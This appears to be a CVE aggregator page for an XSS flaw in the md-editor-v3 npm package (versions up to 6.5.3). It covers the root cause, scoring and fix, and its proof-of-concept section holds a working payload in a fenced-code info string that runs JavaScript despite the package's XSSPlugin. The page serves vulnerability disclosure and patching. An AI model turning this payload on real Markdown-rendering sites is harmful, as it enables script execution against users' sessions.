md-editor-v3: XSS via fenced-code language rendering bypass
CVE-2026-84992 (GitHub advisory GHSA-3rm2-h79c-8qw6) is a medium-severity vulnerability with a CVSS 3.1 base score of 6.1, classed as Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79), in md-editor-v3 (npm). Affected versions: <= 6.5.3. It is fixed in 6.5.4.
Published 18 Sept 2026Updated 18 Sept 2026
- CVE ID
- CVE-2026-84992
- GHSA ID
- GHSA-3rm2-h79c-8qw6
- EPSS
- 0.23%higher than 14% of CVEs
- Weakness (CWE)
- CWE-79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- KEV status
- Not in KEV
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- npm
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.
Details
useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.
PoC
The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:
import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';
config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
{ editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');
Create and run the app, replacing src/main.js when indicated:
npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
# Replace src/main.js with the code above.
npm run dev
Opening the displayed URL automatically shows the application hostname in an alert.
Impact
An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.
Suggested fix
Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NMedium6.1Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- Required
- Scope S
- Changed
- Confidentiality C
- Low
- Integrity I
- Low
- Availability A
- None
CISA SSVC decision points
- Exploitation
- poc
- Proof-of-concept code is public
- Automatable
- no
- Needs manual steps per target
- Technical impact
- partial
- Limited control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
Affected packages
Source: OSV (GitHub advisory)
- md-editor-v3npm
pkg:npm/md-editor-v3- Affected versions
- <= 6.5.3
- Fixed in
- 6.5.4
| Package | Affected versions | Fixed in |
|---|---|---|
md-editor-v3 npm pkg:npm/md-editor-v3 |
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 6.5.4 or later.
Patch commits
fix(preview): escape code fence metadata in preview output
+42 −29 across 3 files
- packages/MdEditor/layouts/Content/composition/useCopyCode.ts+3 −3
- packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts+17 −15
- packages/MdEditor/layouts/Content/markdownIt/code/index.ts+22 −11
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Advisories 4
Package 1
Other links 1
Credits
- koyokrreporter
Questions about CVE-2026-84992
- What is the GHSA ID for CVE-2026-84992?
- GitHub tracks CVE-2026-84992 as GHSA-3rm2-h79c-8qw6.
- What is the CVSS score of CVE-2026-84992?
- CVE-2026-84992 has a CVSS 3.1 base score of 6.1 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
- Which versions are affected by CVE-2026-84992?
- md-editor-v3 (npm): <= 6.5.3.
- How do I fix CVE-2026-84992?
- Upgrade to 6.5.4 or later. The fix is in commit 2c07360.
- What is the Package URL (PURL) for CVE-2026-84992?
- The affected package's PURL is pkg:npm/md-editor-v3.
- Is CVE-2026-84992 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-84992. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.23% chance of exploitation in the next 30 days, higher than 14% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 4 days ago (9 Oct 2026, 18:09 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.